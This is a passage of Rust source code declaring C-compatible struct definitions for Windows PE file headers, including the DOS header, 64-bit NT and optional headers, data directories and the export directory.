pub MaximumLength: USHORT,
pub Buffer: PWCH,
}
#[repr(C)]
pub struct IMAGE_DOS_HEADER {
pub e_magic: WORD,
pub e_cblp: WORD,
pub e_cp: WORD,
pub e_crlc: WORD,
pub e_cparhdr: WORD,
pub e_minalloc: WORD,
pub e_maxalloc: WORD,
pub e_ss: WORD,
pub e_sp: WORD,
pub e_csum: WORD,
pub e_ip: WORD,
pub e_cs: WORD,
pub e_lfarlc: WORD,
pub e_ovno: WORD,
pub e_res: [WORD; 4],
pub e_oemid: WORD,
pub e_oeminfo: WORD,
pub e_res2: [WORD; 10],
pub e_lfanew: LONG,
}
pub const IMAGE_DOS_SIGNATURE: WORD = 0x5A4D;
#[repr(C)]
pub struct IMAGE_NT_HEADERS64 {
pub Signature: DWORD,
pub FileHeader: IMAGE_FILE_HEADER,
pub OptionalHeader: IMAGE_OPTIONAL_HEADER64,
}
#[repr(C)]
pub struct IMAGE_FILE_HEADER {
pub Machine: WORD,
pub NumberOfSections: WORD,
pub TimeDateStamp: DWORD,
pub PointerToSymbolTable: DWORD,
pub NumberOfSymbols: DWORD,
pub SizeOfOptionalHeader: WORD,
pub Characteristics: WORD,
}
#[repr(C)]
pub struct IMAGE_OPTIONAL_HEADER64 {
pub Magic: WORD,
pub MajorLinkerVersion: BYTE,
pub MinorLinkerVersion: BYTE,
pub SizeOfCode: DWORD,
pub SizeOfInitializedData: DWORD,
pub SizeOfUninitializedData: DWORD,
pub AddressOfEntryPoint: DWORD,
pub BaseOfCode: DWORD,
pub ImageBase: ULONGLONG,
pub SectionAlignment: DWORD,
pub FileAlignment: DWORD,
pub MajorOperatingSystemVersion: WORD,
pub MinorOperatingSystemVersion: WORD,
pub MajorImageVersion: WORD,
pub MinorImageVersion: WORD,
pub MajorSubsystemVersion: WORD,
pub MinorSubsystemVersion: WORD,
pub Win32VersionValue: DWORD,
pub SizeOfImage: DWORD,
pub SizeOfHeaders: DWORD,
pub CheckSum: DWORD,
pub Subsystem: WORD,
pub DllCharacteristics: WORD,
pub SizeOfStackReserve: ULONGLONG,
pub SizeOfStackCommit: ULONGLONG,
pub SizeOfHeapReserve: ULONGLONG,
pub SizeOfHeapCommit: ULONGLONG,
pub LoaderFlags: DWORD,
pub NumberOfRvaAndSizes: DWORD,
pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16],
}
#[repr(C)]
pub struct IMAGE_DATA_DIRECTORY {
pub VirtualAddress: DWORD,
pub Size: DWORD,
}
#[repr(C)]
pub struct IMAGE_EXPORT_DIRECTORY {
pub Characteristics: DWORD,
pub TimeDateStamp: DWORD,
pub MajorVersion: WORD,
pub MinorVersion: WORD,
pub Name: DWORD,
pub Base: DWORD,
pub NumberOfFunctions: DWORD,
pub NumberOfNames: DWORD,
pub AddressOfFunctions: DWORD,
pub AddressOfNames: DWORD,
pub AddressOfNameOrdinals: DWORD,
}